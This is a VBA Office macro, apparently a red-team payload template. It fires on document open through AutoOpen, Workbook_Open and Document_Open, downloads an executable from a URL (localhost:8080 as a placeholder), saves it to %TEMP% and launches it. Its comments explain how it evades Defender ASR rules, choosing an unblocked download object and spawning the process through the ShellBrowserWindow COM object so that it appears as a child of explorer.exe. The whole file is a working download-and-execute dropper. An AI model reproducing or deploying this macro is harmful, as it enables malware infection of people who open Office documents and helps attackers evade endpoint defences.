'
' This technique offers Parent-Child process dechaining by launching commands
' through the shellBrowserWindow COM object. Process created that way will be
' childs of the explorer.exe process.
'
' Allows to dechain Parent-Child relationship, spawned command will be child of explorer.exe. 
' Bypasses ASR rule blocking Office applications from creating child processes.
'

Function obf_SaveToFile(ByVal obf_saveAs As String, ByRef obf_data() As Byte) As Boolean
    On Error GoTo obf_ProcError

    Dim obf_out
    Dim obf_shell: Set obf_shell = CreateObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
    obf_out = obf_shell.ExpandEnvironmentStrings(obf_saveAs)

    With CreateObject("Adodb.Stream")
        .Type = 1
        .Open
        .write obf_data
        .savetofile obf_out, 2
    End With
    obf_SaveToFile = True
    Exit Function

obf_ProcError:
    obf_SaveToFile = False
End Function

Function obf_DownloadFromURL(ByVal obf_URL As String) As String
    On Error GoTo obf_ProcError

    '
    ' Among different ways to download content from the Internet via VBScript:
    '   - WinHttp.WinHttpRequest.5.1
    '   - Msxml2.XMLHTTP
    '   - Microsoft.XMLHTTP
    ' only the last one was not blocked by Windows Defender Exploit Guard ASR rule:
    '   "Block Javascript or VBScript from launching downloaded executable content"
    '
    With CreateObject("Microsoft.XMLHTTP")
        .Open "GET", obf_URL, False
        .setRequestHeader "Accept", "*/*"
        .setRequestHeader "Accept-Language", "en-US,en;q=0.9"
        .setRequestHeader "User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
        .setRequestHeader "Accept-Encoding", "gzip, deflate"
        .setRequestHeader "Cache-Control", "private, no-store, max-age=0"
        .setRequestHeader "DNT", "1"
        .Send

        If .Status = 200 Then
            obf_DownloadFromURL = StrConv(.ResponseBody, vbUnicode)
            Exit Function
        End If
    End With

obf_ProcError:
    obf_DownloadFromURL = ""
End Function

Sub obf_LaunchCommand(ByVal obf_command As String)
    On Error GoTo obf_ProcError
    Dim obf_App, obf_endQuotePos, obf_args, obf_spaceChar
    Dim obf_cmd
    
    obf_cmd = CreateObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8").ExpandEnvironmentStrings(obf_command)
	obf_args = ""
	obf_App = Trim(obf_cmd)
	obf_endQuotePos = InStr(2, obf_cmd, """")
	obf_spaceChar = InStr(1, obf_cmd, " ")

	If Left(obf_cmd, 1) = """" And obf_endQuotePos > 0 Then
	    obf_App = Trim(Mid(obf_cmd, 2, obf_endQuotePos - 2))
	    obf_args = Trim(Mid(obf_cmd, obf_endQuotePos + 1))
	ElseIf obf_spaceChar > 0 Then
	    obf_App = Trim(Mid(obf_cmd, 1, obf_spaceChar - 1))
	    obf_args = Trim(Mid(obf_cmd, obf_spaceChar + 1))
	End If

    With CreateObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
        .Document.Application.ShellExecute obf_App, obf_args, "", Null, 0
    End With
obf_ProcError:
End Sub

Public Function obf_ShellcodeGet() As String
    On Error GoTo obf_ProcError

    obf_ShellcodeGet = obf_DownloadFromURL("http://localhost:8080/Autoruns64.exe")
    Exit Function

obf_ProcError:
    obf_ShellcodeGet = ""
End Function

Function obf_ShellcodeEntry() As String

    obf_ShellcodeEntry = obf_ShellcodeGet
End Function

Sub obf_DropFile(ByVal obf_saveto As String)
    On Error GoTo obf_ProcError
    Dim obf_code
    Dim obf_bytes() As Byte
    Dim obf_LaunchIt As Boolean
    obf_LaunchIt = True
    
    obf_code = ""
    obf_code = obf_ShellcodeEntry

    obf_bytes = StrConv(obf_code, vbFromUnicode)
    
    If obf_SaveToFile(obf_saveto, obf_bytes) And obf_LaunchIt Then
        obf_LaunchCommand "%TEMP%\Autoruns64.exe"
    End If

obf_ProcError:
End Sub

Sub obf_GeneratorEntryPoint()
    On Error GoTo obf_ProcError

    Dim obf_location, obf_path
    Dim obf_LaunchIt As Boolean
    obf_LaunchIt = True
    
    Dim obf_shell As Object: Set obf_shell = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
    obf_path = obf_shell.ExpandEnvironmentStrings("%TEMP%\")
    obf_location = obf_path & "Autoruns64.exe"

    Dim obf_FSO As Object: Set obf_FSO = CreateObject("new:0D43FE01-F093-11CF-8940-00A0C9054228")
    If obf_FSO.FolderExists(obf_path) Then
        If obf_FSO.FileExists(obf_location) = False Then
            obf_DropFile obf_location
        ElseIf obf_LaunchIt Then
            obf_LaunchCommand "%TEMP%\Autoruns64.exe"
        End If
    Else
        obf_FSO.CreateFolder (obf_path)
        If obf_FSO.FileExists(obf_location) = False Then
            obf_DropFile obf_location
        ElseIf obf_LaunchIt Then
            obf_LaunchCommand "%TEMP%\Autoruns64.exe"
        End If
    End If

obf_ProcError:
End Sub

Sub obf_MacroEntryPoint()
    On Error Resume Next

    
    obf_GeneratorEntryPoint
    
End Sub

Sub Workbook_Open()
    ' Becomes launched as second, another try, on MS Excel
    obf_MacroEntryPoint
End Sub

Sub Auto_Open()
    ' Becomes launched as first on MS Excel
    obf_MacroEntryPoint
End Sub

Sub AutoOpen()
    ' Becomes launched as first on MS Word / Publisher
    obf_MacroEntryPoint
End Sub

Sub OnPowerPoint()
    obf_MacroEntryPoint
End Sub

Sub Document_Open()
    ' Becomes launched as second, another try, on MS Word / Publisher
    obf_MacroEntryPoint
End Sub